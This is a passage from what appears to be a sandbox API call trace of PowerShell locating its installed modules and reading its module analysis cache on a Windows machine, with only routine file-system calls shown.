hFindFile=0x1ef704707c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.373] FindClose (in: hFindFile=0x1ef704707c0 | out: hFindFile=0x1ef704707c0) returned 1 [0191.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0191.373] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0191.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0191.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0191.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0191.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0191.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0191.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef004d9c90 | out: lpFileInformation=0x1ef004d9c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0191.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.391] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x5bfed4c360, nSize=0xbc | out: lpBuffer="") returned 0x0 [0191.391] CoTaskMemAlloc (cb=0x20c) returned 0x1ef704758c0 [0191.391] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1ef704758c0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0191.391] CoTaskMemFree (pv=0x1ef704758c0) [0191.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0191.391] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0191.392] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0191.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0191.393] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0191.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4d280) returned 1 [0191.393] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x73c [0191.393] GetFileType (hFile=0x73c) returned 0x1 [0191.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4d1f0) returned 1 [0191.393] GetFileType (hFile=0x73c) returned 0x1 [0191.394] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004db160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d308, lpOverlapped=0x0 | out: lpBuffer=0x1ef004db160*, lpNumberOfBytesRead=0x5bfed4d308*=0x1000, lpOverlapped=0x0) returned 1 [0191.444] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad25, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad25*, lpNumberOfBytesRead=0x5bfed4d318*=0x4, lpOverlapped=0x0) returned 1 [0191.444] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004db160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004db160*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.445] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad26, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad26*, lpNumberOfBytesRead=0x5bfed4d318*=0x9, lpOverlapped=0x0) returned 1 [0191.445] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004db160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004db160*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.447] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad27, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad27*, lpNumberOfBytesRead=0x5bfed4d318*=0x5, lpOverlapped=0x0) returned 1 [0191.447] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004db160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004db160*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.448] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad39, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad39*, lpNumberOfBytesRead=0x5bfed4d318*=0x5, lpOverlapped=0x0) returned 1 [0191.448] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004db160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004db160*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.448] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad38, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad38*, lpNumberOfBytesRead=0x5bfed4d318*=0x6, lpOverlapped=0x0) returned 1 [0191.449] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004db160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004db160*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.591] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad39, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad39*, lpNumberOfBytesRead=0x5bfed4d318*=0x3a, lpOverlapped=0x0) returned 1 [0191.591] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef0037b090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef0037b090*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.591] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad32, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad32*, lpNumberOfBytesRead=0x5bfed4d318*=0x3, lpOverlapped=0x0) returned 1 [0191.591] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef0037b090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef0037b090*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad25, nNumberOfBytesToRead=0xe, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad25*, lpNumberOfBytesRead=0x5bfed4d318*=0xe, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef0037b090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef0037b090*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad23, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x5bfed4d2d8, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad23*, lpNumberOfBytesRead=0x5bfed4d2d8*=0x1, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef0037b090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef0037b090*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad24, nNumberOfBytesToRead=0x12, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad24*, lpNumberOfBytesRead=0x5bfed4d318*=0x12, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef0037b090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef0037b090*, lpNumberOfBytesRead=0x5bfed4d318*=0x1000, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef004dad32, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef004dad32*, lpNumberOfBytesRead=0x5bfed4d318*=0x3, lpOverlapped=0x0) returned 1 [0191.592] ReadFile (in: hFile=0x73c, lpBuffer=0x1ef0037b090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4d318, lpOverlapped=0x0 | out: lpBuffer=0x1ef0037b090*, lpNumberOfBytesRead=0x5bfed4d318*=0xd4c, lpOverlapped=0x0) returned 1 [0191.593] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x5bfed4d190, nSize=0xbc | out: lpBuffer="ᑠ<ǯ") returned 0x0 [0191.598] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfed4d208 | out: UnbiasedTime=0x5bfed4d208) returned 1 [0191.740] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfed4d208 | out: UnbiasedTime=0x5bfed4d208) returned 1 [0191.744] CloseHandle (hObject=0x73c) returned 1 [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0191.764] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0191.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0191.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704708e0 [0191.764] FindNextFileW (in: hFindFile=0x1ef704708e0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.765] FindNextFileW (in: hFindFile=0x1ef704708e0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x918c5369, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x918c5369, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0191.765] FindNextFileW (in: hFindFile=0x1ef704708e0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.765] FindClose (in: hFindFile=0x1ef704708e0 | out: hFindFile=0x1ef704708e0) returned 1 [0191.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.765] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0191.765] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0191.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.765] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0191.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0191.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0191.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0191.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0191.772] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0191.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0191.772] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003c6040 | out: lpFileInformation=0x1ef003c6040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a59065a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8fa)) returned 1 [0191.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0191.773] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0191.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0191.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef70470b20 [0191.774] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.774] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e338c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0191.774] FindNextFileW (in: hFindFile=0x1ef70470b20, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, 